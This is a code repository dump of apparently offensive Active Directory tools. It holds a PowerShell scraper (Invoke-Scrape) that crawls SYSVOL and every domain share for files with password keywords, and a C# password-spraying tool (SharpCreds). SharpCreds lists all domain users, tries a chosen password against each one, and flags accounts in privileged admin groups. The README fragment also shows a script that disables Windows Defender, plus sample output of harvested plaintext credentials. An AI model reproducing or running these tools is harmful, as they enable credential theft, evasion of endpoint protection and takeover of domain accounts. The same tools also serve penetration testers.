41 | # reboot.
42 |
43 | Import-Module -DisableNameChecking $PSScriptRoot\..\lib\New-FolderForced.psm1
44 | Import-Module -DisableNameChecking $PSScriptRoot\..\lib\take-own.psm1
45 |
46 | Write-Output "Elevating priviledges for this process"
47 | do {} until (Elevate-Privileges SeTakeOwnershipPrivilege)
48 |
49 | $tasks = @(
50 | "\Microsoft\Windows\Windows Defender\Windows Defender Cache Maintenance"
51 | "\Microsoft\Windows\Windows Defender\Windows Defender Cleanup"
52 | "\Microsoft\Windows\Windows Defender\Windows Defender Scheduled Scan"
53 | "\Microsoft\Windows\Windows Defender\Windows Defender Verification"
54 | )
55 |
56 | foreach ($task in $tasks) {
57 | $parts = $task.split('\')
58 | $name = $parts[-1]
59 | $path = $parts[0..($parts.length-2)] -join '\'
60 |
61 | Write-Output "Trying to disable scheduled task $name"
62 | Disable-ScheduledTask -TaskName "$name" -TaskPath "$path"
63 | }
64 |
65 | Write-Output "Disabling Windows Defender via Group Policies"
66 | New-FolderForced -Path "HKLM:\SOFTWARE\Wow6432Node\Policies\Microsoft\Windows Defender"
67 | Set-ItemProperty -Path "HKLM:\SOFTWARE\Wow6432Node\Policies\Microsoft\Windows Defender" "DisableAntiSpyware" 1
68 | Set-ItemProperty -Path "HKLM:\SOFTWARE\Wow6432Node\Policies\Microsoft\Windows Defender" "DisableRoutinelyTakingAction" 1
69 | New-FolderForced -Path "HKLM:\SOFTWARE\Wow6432Node\Policies\Microsoft\Windows Defender\Real-Time Protection"
70 | Set-ItemProperty -Path "HKLM:\SOFTWARE\Wow6432Node\Policies\Microsoft\Windows Defender\Real-Time Protection" "DisableRealtimeMonitoring" 1
71 |
72 | password = fishandchips1
73 |
74 |
75 | Write-Output "Disabling Windows Defender Services"
76 | Takeown-Registry("HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\WinDefend")
77 | Set-ItemProperty -Path "HKLM:\SYSTEM\CurrentControlSet\Services\WinDefend" "Start" 4
78 | Set-ItemProperty -Path "HKLM:\SYSTEM\CurrentControlSet\Services\WinDefend" "...
79 | AdditionalKeywordsFound :
80 |
81 | ComputerName : WIN-MS87LHLC91U
82 | ShareName : NETLOGON
83 | FileName : Startup.bat
84 | FullName : \\WIN-MS87LHLC91U\NETLOGON\Shares\Brandon_DiCam\Startup.bat
85 | MatchingLines : param (
86 | [string]$Username = 'user2',
87 | [string]$Password = 'Passw0rd!'
88 | )
89 |
90 | $SecurePassword = ConvertTo-SecureString $Password -AsPlainText -Force
91 | $Credential = New-Object System.Management.Automation.PSCredential ($Username, $SecurePassword)
92 |
93 | $Domain = 'your_domain'
94 | $Query = "SELECT * FROM Win32_ComputerSystem WHERE PartOfDomain = 'True'"
95 |
96 | try {
97 | $DomainHosts = Get-WmiObject -Query $Query -ComputerName $Domain -Credential $Credential
98 | foreach ($Host in $DomainHosts) {
99 | Write-Output "Host: $($Host.Name)"
100 | }
101 | } catch {
102 | Write-Output "Error occurred: $_"
103 | }
104 |
105 | AdditionalKeywordsFound :
106 |
107 | ComputerName : WIN-MS87LHLC91U
108 | ShareName : NETLOGON
109 | FileName : Script1.txt
110 | FullName : \\WIN-MS87LHLC91U\NETLOGON\Shares\Test2\Dog_Cat\Script1.txt
111 | MatchingLines :
112 | fsfsfssf
113 |
114 | cars
115 |
116 | cats
117 |
118 |
119 | dshdsghsdhsdhds
120 |
121 | dsdsfhjsdgsdfhsdfsdf
122 | sdf
123 | sdf
124 | dsds
125 | dsds
126 | ds
127 | sd
128 | sd
129 | hhgghadgadgadgadsad
130 | das
131 |
132 |
133 |
134 |
135 |
136 |
137 | username=User23&password=Superdope1
138 |
139 |
140 | sdhdsdsdsds
141 | AdditionalKeywordsFound :
142 |
143 | ComputerName : WIN-MS87LHLC91U
144 | ShareName : NETLOGON
145 | FileName : Script3.txt
146 | FullName : \\WIN-MS87LHLC91U\NETLOGON\Shares\Test2\Dog_Cat\Script3.txt
147 | MatchingLines : "劇団四å£ãƒŸãƒ¥ãƒ¼ã‚¸ã‚«ãƒ«ã€Žã‚ャッツã€ãƒ¡ãƒ¢ãƒªã‚¢ãƒ«ã‚¨ãƒ‡ã‚£ã‚·ãƒ§ãƒ³" (in Japanese). Oricon. Archived from the original on 3 May 2019. Retrieved 3 May 2019.
148 | "Musical – Cats (Nederlandstalige Versie 1987)" (in Dutch). Dutch Charts. Retrieved 29 April 2019.
149 | "charts.nz – Search for: cats". New Zealand charts portal. Retrieved 30 April 2019.
150 | "Official Albums Chart Results Matching: Cats". Official Charts Company. Retrieved 30 April 2019.
151 | "Stage Cast Recordings: Cats (London)". British Phonographic Industry. Retrieved 25 March 2019.
152 | Grein, Paul (24 July 1982). "Geffen Putting Emphasis On Broadway Productions". Billboard. Vol. 94, no. 29. p. 68. ISSN 0006-2510.
153 | "Original London Cast: Cats [Original London Cast Recording]". AllMusic. Archived from the original on 24 March 2019. Retrieved 19 October 2013.
154 | "Original Cast Recording: Cats". British Phonographic Industry. Retrieved 30 April 2019.
155 | "Edelmetall – Suche nach: cats". Swiss Hitparade. Retrieved 30 April 2019.
156 | Culwell-Block, Logan. "The Definitive List of the 42 Best-Selling Cast Recordings of All Time". Playbill. Archived from the original on 24 March 2019. Retrieved 25 March 2019.
157 | "Cats (Original Cast)". Recording Industry Association of America. Archived from the original on 24 March 2019. Retrieved 25 March 2019.
158 | "Musical – Cats (Wien)" (in German). Universal Music Austria. Archived from the original on 29 April 2019. Retrieved 29 April 2019.
159 | Sampson, Jim (16 March 1985). "Special Report: West Germany, Austria, Switzerland ...Newsline..." Billboard. Vol. 97, no. 11. p. 9. ISSN 0006-2510.
160 | "Cats – Theater ad Vienna" (in German). Bundesverband Musikindustrie. Retrieved 30 April 2019.
161 | "Cats sound recording: the original Australian cast". Trove. Archived from the original on 25 March 2019. Retrieved 25 March 2019.
162 | "劇団四å£ãƒŸãƒ¥ãƒ¼ã‚¸ã‚«ãƒ« CATS オリジナル・ã‚ャスト" [Gekidan Shiki Musical CATS Original Cast] (in Japanese). Amazon. Archived from the original on 26 M...
163 | AdditionalKeywordsFound :
164 |
165 | ComputerName : LABLAB-PC1
166 | ShareName : The-Shares
167 | FileName : Look1.txt
168 | FullName : \\LABLAB-PC1\The-Shares\Look1.txt
169 | MatchingLines : ffdfdfffdfdfdfdf
170 | dfgf
171 | dgf
172 | gdg
173 | dgdggddggd
174 |
175 |
176 | golf
177 |
178 | fdfd
179 | dffdfd
180 |
181 |
182 |
183 | password is Catman1
184 |
185 | ```
186 |
--------------------------------------------------------------------------------
/DomainScrape/Invoke-Scrape.ps1:
--------------------------------------------------------------------------------
1 | function Invoke-Scrape {
2 |
3 | function Show-Menu {
4 | Clear-Host
5 | Write-Host "=== Menu ==="
6 | Write-Host "1. Scrape the Domain Controller"
7 | Write-Host "2. Scrape all Domain Shares"
8 | Write-Host "Q. Quit"
9 | Write-Host
10 | }
11 | # Check for -ExcludeDCs option
12 | $excludeDCs = $false
13 | if ($args -contains "-ExcludeDCs") {
14 | $excludeDCs = $true
15 | Write-Host "Excluding domain controllers..."
16 | }
17 |
18 | function SkipDCs {
19 | if ($excludeDCs) {
20 | Write-Host "Skipping domain controller scrape due to -ExcludeDCs option."
21 | return
22 | }
23 | Write-Host "Scraping the DC..."
24 | function SearchForKeywords {
25 | param (
26 | [string[]]$initialKeywords,
27 | [string]$domain = $env:USERDNSDOMAIN,
28 | [string[]]$additionalKeywords
29 | )
30 |
31 | $domainController = ([System.DirectoryServices.ActiveDirectory.Domain]::GetCurrentDomain()).DomainControllers | Select-Object -First 1
32 | $netlogonPath = "\\$($domainController.Name)\SYSVOL\$domain"
33 | $matchesFound = $false
34 | $matchedFileNames = @()
35 |
36 | Get-ChildItem -Path $netlogonPath -Recurse -File | Where-Object { $_.Name -notin @('GptTmpl.inf', 'GPT.INI', 'Registry.pol') -and $_.Extension -match '^(?:\.txt|\.ini|\.xml|\.bat|\.ps1|\.doc|\.docx|\.xlsx|\.xls)$' } | ForEach-Object {
37 | $content = Get-Content $_.FullName
38 |
39 | foreach ($line in $content) {
40 | $initialMatches = $initialKeywords | Where-Object { $line -like "*$_*" }
41 | $additionalMatches = $additionalKeywords | Where-Object { $line -like "*$_*" }
42 |
43 | if ($initialMatches -or $additionalMatches) {
44 | $matchesFound = $true;
45 |
46 | $contextStart = [Math]::Max(0, [Array]::IndexOf($content, $line) - 3)
47 | $contextEnd = [Math]::Min([Array]::IndexOf($content, $line) + 3, $content.Count - 1)
48 | $context = $content[$contextStart..$contextEnd]
49 |
50 | $additionalKeywordsFound = $additionalKeywords | Where-Object { $context -cmatch "(?i)$_" }
51 |
52 | $username = $line | Select-String -Pattern '(?i)username\s*[:=]\s*(.+)' -AllMatches | ForEach-Object { $_.Matches.Groups[1].Value }
53 | if ([string]::IsNullOrEmpty($username)) {
54 | $username = $context -join ' '
55 | }
56 |
57 | $password = $line | Select-String -Pattern '(?i)(?:password|passw|cred)\s*[=:]\s*(\S+)' -AllMatches | ForEach-Object { $_.Matches.Groups[1].Value }
58 | if ([string]::IsNullOrEmpty($password)) {
59 | $password = $content | Select-String -Pattern '(?i)(?:password|passw|cred)\s*[=:]\s*(\S+)' -AllMatches | ForEach-Object { $_.Matches.Groups[1].Value }
60 | }
61 | if ([string]::IsNullOrEmpty($password)) {
62 | $password = $line
63 | }
64 |
65 | if ($_.Name -notin $matchedFileNames) {
66 | $matchedFileNames += $_.Name
67 |
68 | [PSCustomObject]@{
69 | FileName = $_.Name
70 | FullName = $_.FullName
71 | PrecedingContext = $context[0..($context.IndexOf($line) - 1)]
72 | MatchingLine = $line
73 | TrailingContext = $context[($context.IndexOf($line) + 1)..($context.Count - 1)]
74 | AdditionalKeywordsFound = $additionalKeywordsFound
75 | Username = $username
76 | Password = $password
77 | }
78 | }
79 | }
80 | }
81 | }
82 |
83 | if (-not $matchesFound) {
84 | Write-Host "No matches found."
85 | }
86 | }
87 |
88 | function PromptForCustomKeywords {
89 | $initialKeywords = @()
90 | $additionalKeywords = @()
91 |
92 | do {
93 | $keyword = Read-Host "Enter initial keyword (or press enter to finish)"
94 | if (![string]::IsNullOrEmpty($keyword)) {
95 | $initialKeywords += $keyword
96 | }
97 | } while (![string]::IsNullOrEmpty($keyword))
98 |
99 | SearchForKeywords -initialKeywords $initialKeywords -additionalKeywords $additionalKeywords
100 | }
101 |
102 | function ShowMenu {
103 | Write-Host "1. Use default keywords"
104 | Write-Host "2. Enter custom keywords"
105 | Write-Host "0. Exit"
106 |
107 | $choice = Read-Host "Enter your choice"
108 |
109 | switch ($choice) {
110 | "1" {
111 | $initialKeywords = @(
112 | 'password', 'cpassword', 'passw', 'cred',
113 | 'Password', 'Cpassword', 'Passw', 'Cred',
114 | 'Password:', 'password:', 'Password=',
115 | 'password=', 'password ', 'cpassword ',
116 | 'passw ', 'cred ', 'Password ', 'Cpassword ',
117 | 'Passw ', 'Cred ', 'Password: ', 'password: ',
118 | 'Password= ', 'password= ', 'Password : ',
119 | 'password : ', 'Password = ', 'password = '
120 | )
121 | $additionalKeywords = @(
122 | 'user', 'username', 'name', 'User',
123 | 'Username', 'Name', 'Username:', 'username:',
124 | 'Username=', 'username=', 'user ', 'username ',
125 | 'name ', 'User ', 'Username ', 'Name ',
126 | 'Username: ', 'username: ', 'Username= ',
127 | 'username= ', 'Username : ', 'username : ',
128 | 'Username = ', 'username = '
129 | )
130 |
131 | SearchForKeywords -initialKeywords $initialKeywords -additionalKeywords $additionalKeywords
132 | }
133 | "2" {
134 | PromptForCustomKeywords
135 | }
136 | "0" {
137 | # Exit
138 | }
139 | default {
140 | Write-Host "Invalid choice. Please try again."
141 | ShowMenu
142 | }
143 | }
144 | }
145 |
146 | ShowMenu
147 |
148 | Write-Host "Script 1 executed!"
149 | Read-Host "Press Enter to return to the menu"
150 | }
151 |
152 | function Execute-Script2 {
153 | Write-Host "Scraping all Domain Shares..."
154 | Add-Type -TypeDefinition @'
155 | using System;
156 | using System.Runtime.InteropServices;
157 |
158 | public class Netapi32 {
159 | [DllImport("Netapi32.dll")]
160 | public static extern int DsRoleGetPrimaryDomainInformation(
161 | string lpServer,
162 | int InfoLevel,
163 | out IntPtr Buffer
164 | );
165 |
166 | [DllImport("Netapi32.dll")]
167 | public static extern int NetApiBufferFree(IntPtr Buffer);
168 |
169 | [DllImport("Netapi32.dll", CharSet = CharSet.Unicode)]
170 | public static extern int NetShareEnum(
171 | string serverName,
172 | int level,
173 | ref IntPtr bufPtr,
174 | int prefMaxLen,
175 | ref int entriesRead,
176 | ref int totalEntries,
177 | ref int resumeHandle
178 | );
179 | }
180 |
181 | [StructLayout(LayoutKind.Sequential)]
182 | public struct DSROLE_PRIMARY_DOMAIN_INFO_BASIC {
183 | public IntPtr DomainNameFlat;
184 | public int DomainRole;
185 | public IntPtr DomainNameDns;
186 | public IntPtr DomainForestName;
187 | public int Flags;
188 | }
189 |
190 | [StructLayout(LayoutKind.Sequential, CharSet = CharSet.Unicode)]
191 | public struct SHARE_INFO_1 {
192 | [MarshalAs(UnmanagedType.LPWStr)]
193 | public string shi1_netname;
194 | public uint shi1_type;
195 | [MarshalAs(UnmanagedType.LPWStr)]
196 | public string shi1_remark;
197 | }
198 |
199 | public class SHARE_INFO_1_Helper {
200 | public static int GetSize() {
201 | return Marshal.SizeOf(typeof(SHARE_INFO_1));
202 | }
203 | }
204 | '@
205 |
206 | function IsDomainController {
207 | $domainControllerRole = 3 # DSROLE_PRIMARY_DOMAIN_INFO_BASIC.DomainRole for a domain controller
208 |
209 | $bufferPtr = [IntPtr]::Zero
210 | $result = [Netapi32]::DsRoleGetPrimaryDomainInformation($null, 0, [ref]$bufferPtr)
211 |
212 | if ($result -eq 0 -and $bufferPtr -ne [IntPtr]::Zero) {
213 | $domainInfo = [System.Runtime.InteropServices.Marshal]::PtrToStructure($bufferPtr, [type][DSROLE_PRIMARY_DOMAIN_INFO_BASIC])
214 |
215 | if ($domainInfo.DomainRole -eq $domainControllerRole) {
216 | return $true
217 | }
218 | }
219 |
220 | if ($bufferPtr -ne [IntPtr]::Zero) {
221 | [Netapi32]::NetApiBufferFree($bufferPtr)
222 | }
223 |
224 | return $false
225 | }
226 |
227 | function Get-Shares {
228 | [OutputType('ShareInfo')]
229 | [CmdletBinding()]
230 | Param(
231 | [Parameter(Position = 0, ValueFromPipeline = $True, ValueFromPipelineByPropertyName = $True)]
232 | [Alias('HostName', 'dnshostname', 'name')]
233 | [ValidateNotNullOrEmpty()]
234 | [String[]]
235 | $ComputerName = $null
236 | )
237 |
238 | BEGIN {
239 | if (-not $ComputerName) {
240 | $adSearcher = [adsisearcher]'(objectCategory=computer)'
241 | $adSearcher.SearchScope = 'Subtree'
242 | $adSearcher.PageSize = 1000
243 | $adSearcher.PropertiesToLoad.AddRange(@('name'))
244 | $ComputerName = $adSearcher.FindAll() | ForEach-Object { $_.Properties['name'][0] }
245 | }
246 | }
247 |
248 | PROCESS {
249 | foreach ($DomainHost in $ComputerName) {
250 | $QueryLevel = 1
251 | $PtrInfo = [IntPtr]::Zero
252 | $EntriesRead = 0
253 | $TotalRead = 0
254 | $ResumeHandle = 0
255 |
256 | $Result = [Netapi32]::NetShareEnum($DomainHost, $QueryLevel, [ref]$PtrInfo, -1, [ref]$EntriesRead, [ref]$TotalRead, [ref]$ResumeHandle)
257 | $Offset = $PtrInfo.ToInt64()
258 |
259 | if (($Result -eq 0) -and ($Offset -gt 0)) {
260 | $Increment = [SHARE_INFO_1_Helper]::GetSize()
261 |
262 | for ($i = 0; $i -lt $EntriesRead; $i++) {
263 | $NewIntPtr = New-Object System.IntPtr -ArgumentList $Offset
264 | $Info = [System.Runtime.InteropServices.Marshal]::PtrToStructure($NewIntPtr, [type][SHARE_INFO_1])
265 |
266 | if (($Info.shi1_netname -ne 'ADMIN$') -and ($Info.shi1_netname -ne 'C$') -and ($Info.shi1_netname -ne 'IPC$')) {
267 | "\\$DomainHost\$($Info.shi1_netname)"
268 | }
269 |
270 | $Offset += $Increment
271 | }
272 |
273 | $Null = [Netapi32]::NetApiBufferFree($PtrInfo)
274 | }
275 | else {
276 | Write-Verbose "[Get-Shares] Error: $(([ComponentModel.Win32Exception] $Result).Message)"
277 | }
278 | }
279 | }
280 | }
281 |
282 | function PromptForCustomKeywords {
283 | [CmdletBinding()]
284 | param (
285 | [Switch]$ExcludeCurrentMachine
286 | )
287 |
288 | $computerName = $env:COMPUTERNAME
289 | $currentMachinePath = "\\$computerName"
290 |
291 | $keywords = @()
292 |
293 | Write-Host "Enter initial keyword (or press enter to finish):"
294 | $keyword = Read-Host
295 |
296 | while ($keyword -ne '') {
297 | $keywords += $keyword
298 | Write-Host "Enter additional keyword (or press enter to finish):"
299 | $keyword = Read-Host
300 | }
301 |
302 | Write-Host
303 |
304 | $shares = Get-Shares
305 |
306 | foreach ($share in $shares) {
307 | $sharePath = "\\$($share.Split('\')[2])\$($share.Split('\')[3])"
308 |
309 | if ($excludeCurrentMachine -and ($sharePath -eq $currentMachinePath)) {
310 | continue
311 | }
312 |
313 | try {
314 |
315 | Get-ChildItem -LiteralPath $sharePath -Recurse -File -ErrorAction Stop | Where-Object { $_.Name -notin @('GptTmpl.inf', 'GPT.INI', 'Registry.pol') -and $_.Extension -match '^(?:\.txt|\.ini|\.xml|\.bat|\.ps1|\.doc|\.docx|\.xlsx|\.xls)$' } | ForEach-Object {
316 | $fileContent = Get-Content -LiteralPath $_.FullName -Raw
317 |
318 | $matchingLines = $fileContent | Select-String -Pattern $keywords -SimpleMatch -CaseSensitive:$false
319 |
320 | if ($matchingLines) {
321 | $matchingWords = ($matchingLines.Line | Select-String -Pattern $keywords -SimpleMatch -CaseSensitive:$false -AllMatches).Matches.Value -join ' '
322 |
323 | [PSCustomObject]@{
324 | ComputerName = $share.Split('\')[2]
325 | ShareName = $share.Split('\')[3]
326 | FileName = $_.Name
327 | FullName = $_.FullName
328 | MatchingLines = if ($matchingLines.Line.Length -le 2000) { $matchingLines.Line } else { $matchingLines.Line.Substring(0, 2000) + "..." }
329 | AdditionalKeywordsFound = $matchingWords
330 | }
331 | }
332 | }
333 | }
334 | catch {
335 | Write-Verbose "[PromptForCustomKeywords] Error accessing share '$sharePath': $($_.Exception.Message)"
336 | }
337 | }
338 | }
339 |
340 | PromptForCustomKeywords -ExcludeCurrentMachine
341 |
342 | Write-Host "Script 2 executed!"
343 | Read-Host "Press Enter to return to the menu"
344 | }
345 |
346 | $exitMenu = $false
347 |
348 | do {
349 | Show-Menu
350 | $input = Read-Host "Enter your choice"
351 |
352 | switch ($input) {
353 | '1' {
354 | SkipDCs
355 | break
356 | }
357 | '2' {
358 | Execute-Script2
359 | break
360 | }
361 | 'Q' {
362 | $exitMenu = $true
363 | break
364 | }
365 | default {
366 | Write-Host "Invalid input. Please try again."
367 | Pause
368 | }
369 | }
370 | } while (-not $exitMenu)
371 |
372 |
373 | }
374 |
--------------------------------------------------------------------------------
/SharpCred/SharpCreds/Program.cs:
--------------------------------------------------------------------------------
1 | using System;
2 | using System.Collections.Generic;
3 | using System.DirectoryServices;
4 | using System.DirectoryServices.AccountManagement;
5 | using System.Linq;
6 |
7 |
8 | class Program
9 | {
10 | static void Main()
11 | {
12 | Console.WriteLine("Welcome to SharpCreds");
13 | Console.WriteLine();
14 |
15 | while (true)
16 | {
17 | Console.Write("Enter the domain name: ");
18 | string domainName = Console.ReadLine();
19 |
20 | Console.Write("Enter the username: ");
21 | string username = Console.ReadLine();
22 |
23 | Console.Write("Enter the password: ");
24 | string password = ReadPassword();
25 |
26 | if (AuthenticateUser(domainName, username, password))
27 | {
28 | Console.WriteLine();
29 | Console.WriteLine("Authentication successful!");
30 | Console.WriteLine("Generating list of usernames...");
31 | Console.WriteLine();
32 |
33 | List usernames = new List();
34 |
35 | while (true)
36 | {
37 | Console.WriteLine("Choose an option:");
38 | Console.WriteLine("1. Generate usernames using LDAP query");
39 | Console.WriteLine("2. Provide usernames from a file");
40 | Console.WriteLine("3. Enumerate domain password policy");
41 | Console.WriteLine("4. Quit");
42 | Console.WriteLine();
43 | Console.Write("Enter your choice: ");
44 |
45 | string option = Console.ReadLine();
46 |
47 | switch (option)
48 | {
49 | case "1":
50 | Tuple> result = GenerateUsernames(domainName, username, password);
51 | usernames = result.Item2;
52 | int count = result.Item1;
53 | Console.WriteLine($"List of {count} usernames generated successfully.");
54 |
55 | Console.WriteLine();
56 | Console.Write("Do you want to save a copy of the username list? (Y/N): ");
57 | string saveCopyOption = Console.ReadLine();
58 |
59 | if (saveCopyOption.Equals("Y", StringComparison.OrdinalIgnoreCase))
60 | {
61 | Console.Write("Enter the file name to save the usernames (without extension): ");
62 | string fileName = Console.ReadLine();
63 |
64 | string filePath = $"{AppDomain.CurrentDomain.BaseDirectory}{fileName}.txt";
65 |
66 | try
67 | {
68 | System.IO.File.WriteAllLines(filePath, usernames);
69 | Console.WriteLine($"Usernames saved successfully to {filePath}");
70 | }
71 | catch (Exception ex)
72 | {
73 | Console.WriteLine($"Error saving usernames to file: {ex.Message}");
74 | }
75 | }
76 |
77 | Console.WriteLine();
78 | Console.Write("Press Enter to continue...");
79 | Console.ReadLine();
80 |
81 | break;
82 |
83 | case "2":
84 | usernames = ReadUsernamesFromFile();
85 | Console.WriteLine("Usernames loaded successfully.");
86 | break;
87 | case "3":
88 | EnumerateDomainPasswordPolicy(domainName, username, password);
89 | break;
90 | case "4":
91 | return;
92 | default:
93 | Console.WriteLine("Invalid option. Please try again.");
94 | continue;
95 | }
96 |
97 | Console.WriteLine();
98 |
99 | while (true)
100 | {
101 | Console.Write("Enter a password to try against the usernames ('b' to return to the original menu or 'q' to quit): ");
102 | string input = Console.ReadLine();
103 |
104 | if (input == "q")
105 | return;
106 |
107 | if (input == "b")
108 | break;
109 |
110 | Console.WriteLine();
111 | Console.ForegroundColor = ConsoleColor.Green;
112 | Console.WriteLine("Usernames that match the provided password...");
113 | Console.ResetColor();
114 |
115 | List validCredentials = new List();
116 |
117 | foreach (string user in usernames)
118 | {
119 | if (AuthenticateUser(domainName, user, input))
120 | {
121 | Console.WriteLine($"Valid credentials: {domainName}\\{user}");
122 | validCredentials.Add(user);
123 | }
124 | }
125 |
126 | Console.WriteLine();
127 | Console.ForegroundColor = ConsoleColor.Blue;
128 | Console.WriteLine("Retrieving domain groups for valid credentials...");
129 | Console.ResetColor();
130 |
131 | foreach (string validUser in validCredentials)
132 | {
133 | List groups = GetDomainGroups(domainName, validUser, username, password);
134 | if (groups.Count > 0)
135 | {
136 | string groupNames = string.Join(", ", groups);
137 | Console.WriteLine($"{domainName}\\{validUser} - {groupNames}");
138 | }
139 | else
140 | {
141 | Console.WriteLine($"{domainName}\\{validUser} - No domain groups found.");
142 | }
143 | }
144 |
145 | Console.WriteLine();
146 |
147 | // Check for high privileged accounts
148 | Dictionary> highPrivilegedAccounts = new Dictionary>();
149 |
150 | foreach (string validUser in validCredentials)
151 | {
152 | Dictionary> matchedAccounts = IsHighPrivilegedAccount(domainName, validUser, username, password);
153 | foreach (var entry in matchedAccounts)
154 | {
155 | string user = entry.Key;
156 | List matchedGroups = entry.Value;
157 |
158 | if (highPrivilegedAccounts.ContainsKey(user))
159 | {
160 | highPrivilegedAccounts[user].AddRange(matchedGroups);
161 | }
162 | else
163 | {
164 | highPrivilegedAccounts[user] = matchedGroups;
165 | }
166 | }
167 | }
168 |
169 | // Display high privileged accounts
170 | if (highPrivilegedAccounts.Count > 0)
171 | {
172 | Console.ForegroundColor = ConsoleColor.Yellow;
173 | Console.WriteLine("High Privileged Accounts:");
174 | Console.ResetColor();
175 | foreach (var entry in highPrivilegedAccounts)
176 | {
177 | string user = entry.Key;
178 | List matchedGroups = entry.Value;
179 |
180 | string groupNames = string.Join(", ", matchedGroups);
181 | Console.WriteLine($"{domainName}\\{user} - {groupNames}");
182 | }
183 | Console.WriteLine(); // Add this line to insert a blank line
184 | }
185 | }
186 | }
187 | }
188 | else
189 | {
190 | Console.WriteLine("Authentication failed. Invalid credentials.");
191 | Console.WriteLine("Please try again.");
192 | }
193 |
194 | Console.ReadLine();
195 | }
196 |
197 | static bool AuthenticateUser(string domainName, string username, string password)
198 | {
199 | try
200 | {
201 | using (DirectoryEntry directoryEntry = new DirectoryEntry($"LDAP://{domainName}", username, password))
202 | {
203 | object nativeObject = directoryEntry.NativeObject;
204 | }
205 |
206 | return true;
207 | }
208 | catch
209 | {
210 | return false;
211 | }
212 | }
213 |
214 | static Tuple> GenerateUsernames(string domainName, string username, string password)
215 | {
216 | List usernames = new List();
217 |
218 | try
219 | {
220 | using (DirectoryEntry entry = new DirectoryEntry($"LDAP://{domainName}", username, password))
221 | {
222 | using (DirectorySearcher searcher = new DirectorySearcher(entry))
223 | {
224 | searcher.Filter = "(&(objectCategory=user))";
225 | searcher.PropertiesToLoad.Add("sAMAccountName");
226 |
227 | searcher.PageSize = 1000; // Set a higher page size to retrieve more results
228 |
229 | using (SearchResultCollection results = searcher.FindAll())
230 | {
231 | foreach (SearchResult result in results)
232 | {
233 | string usernameProperty = result.Properties["sAMAccountName"][0].ToString();
234 | usernames.Add(usernameProperty);
235 | }
236 | }
237 | }
238 | }
239 | }
240 | catch (Exception ex)
241 | {
242 | Console.WriteLine($"Error generating list of usernames: {ex.Message}");
243 | }
244 |
245 | return new Tuple>(usernames.Count, usernames);
246 | }
247 |
248 |
249 | static List GetDomainGroups(string domainName, string username, string adminUsername, string adminPassword)
250 | {
251 | List groups = new List();
252 |
253 | try
254 | {
255 | using (PrincipalContext context = new PrincipalContext(ContextType.Domain, domainName, adminUsername, adminPassword))
256 | {
257 | using (UserPrincipal userPrincipal = UserPrincipal.FindByIdentity(context, IdentityType.SamAccountName, username))
258 | {
259 | if (userPrincipal != null)
260 | {
261 | PrincipalSearchResult principalSearchResult = userPrincipal.GetAuthorizationGroups();
262 |
263 | foreach (Principal principal in principalSearchResult)
264 | {
265 | if (principal is GroupPrincipal groupPrincipal)
266 | {
267 | groups.Add(groupPrincipal.SamAccountName);
268 | }
269 | }
270 | }
271 | }
272 | }
273 | }
274 | catch (Exception ex)
275 | {
276 | Console.WriteLine($"Error retrieving domain groups: {ex.Message}");
277 | }
278 |
279 | return groups;
280 | }
281 |
282 | static Dictionary> IsHighPrivilegedAccount(string domainName, string username, string adminUsername, string adminPassword)
283 | {
284 | Dictionary> highPrivilegedAccounts = new Dictionary>();
285 |
286 | List privilegedGroups = new List
287 | {
288 | "Administrators",
289 | "Schema Admins",
290 | "Enterprise Admins",
291 | "Domain Admins"
292 | };
293 |
294 | try
295 | {
296 | using (PrincipalContext context = new PrincipalContext(ContextType.Domain, domainName, adminUsername, adminPassword))
297 | {
298 | using (UserPrincipal userPrincipal = UserPrincipal.FindByIdentity(context, IdentityType.SamAccountName, username))
299 | {
300 | if (userPrincipal != null)
301 | {
302 | PrincipalSearchResult principalSearchResult = userPrincipal.GetAuthorizationGroups();
303 |
304 | foreach (Principal principal in principalSearchResult)
305 | {
306 | if (principal is GroupPrincipal groupPrincipal)
307 | {
308 | if (privilegedGroups.Contains(groupPrincipal.SamAccountName))
309 | {
310 | if (highPrivilegedAccounts.ContainsKey(username))
311 | {
312 | highPrivilegedAccounts[username].Add(groupPrincipal.SamAccountName);
313 | }
314 | else
315 | {
316 | highPrivilegedAccounts[username] = new List { groupPrincipal.SamAccountName };
317 | }
318 | }
319 | }
320 | }
321 | }
322 | }
323 | }
324 | }
325 | catch (Exception ex)
326 | {
327 | Console.WriteLine($"Error checking high privileged accounts: {ex.Message}");
328 | }
329 |
330 | return highPrivilegedAccounts;
331 | }
332 |
333 | static List ReadUsernamesFromFile()
334 | {
335 | Console.Write("Enter the path to the file containing usernames: ");
336 | string filePath = Console.ReadLine();
337 |
338 | List usernames = new List();
339 |
340 | try
341 | {
342 | usernames = System.IO.File.ReadAllLines(filePath).ToList();
343 | }
344 | catch (Exception ex)
345 | {
346 | Console.WriteLine($"Error reading usernames from file: {ex.Message}");
347 | }
348 |
349 | return usernames;
350 | }
351 |
352 | static void EnumerateDomainPasswordPolicy(string domainName, string username, string password)
353 | {
354 | Console.WriteLine();
355 | Console.WriteLine("Enumerating domain password policy...");
356 | Console.WriteLine();
357 |
358 | try
359 | {
360 | using (DirectoryEntry entry = new DirectoryEntry($"LDAP://{domainName}", username, password))
361 | {
362 | using (DirectorySearcher searcher = new DirectorySearcher(entry))
363 | {
364 | searcher.Filter = "(objectClass=domain)";
365 | searcher.PropertiesToLoad.Add("maxPwdAge");
366 | searcher.PropertiesToLoad.Add("minPwdAge");
367 | searcher.PropertiesToLoad.Add("lockoutThreshold");
368 | searcher.PropertiesToLoad.Add("lockoutDuration");
369 | searcher.PropertiesToLoad.Add("pwdHistoryLength");
370 | searcher.PropertiesToLoad.Add("lockoutObservationWindow");
371 |
372 | SearchResult result = searcher.FindOne();
373 |
374 | if (result != null)
375 | {
376 | TimeSpan maxPwdAge = TimeSpan.FromTicks((long)result.Properties["maxPwdAge"][0]);
377 | TimeSpan minPwdAge = TimeSpan.FromTicks((long)result.Properties["minPwdAge"][0]);
378 | int lockoutThreshold = (int)result.Properties["lockoutThreshold"][0];
379 | TimeSpan lockoutDuration = TimeSpan.FromTicks((long)result.Properties["lockoutDuration"][0]);
380 | int pwdHistoryLength = (int)result.Properties["pwdHistoryLength"][0];
381 | TimeSpan lockoutObservationWindow = TimeSpan.FromTicks((long)result.Properties["lockoutObservationWindow"][0]);
382 |
383 | Console.ForegroundColor = ConsoleColor.Green;
384 | Console.WriteLine("Domain Password Policy Information:");
385 | Console.ResetColor();
386 | Console.WriteLine();
387 | Console.WriteLine($"Maximum Password Age: {maxPwdAge.Days} days");
388 | Console.WriteLine($"Minimum Password Age: {minPwdAge.Days} days");
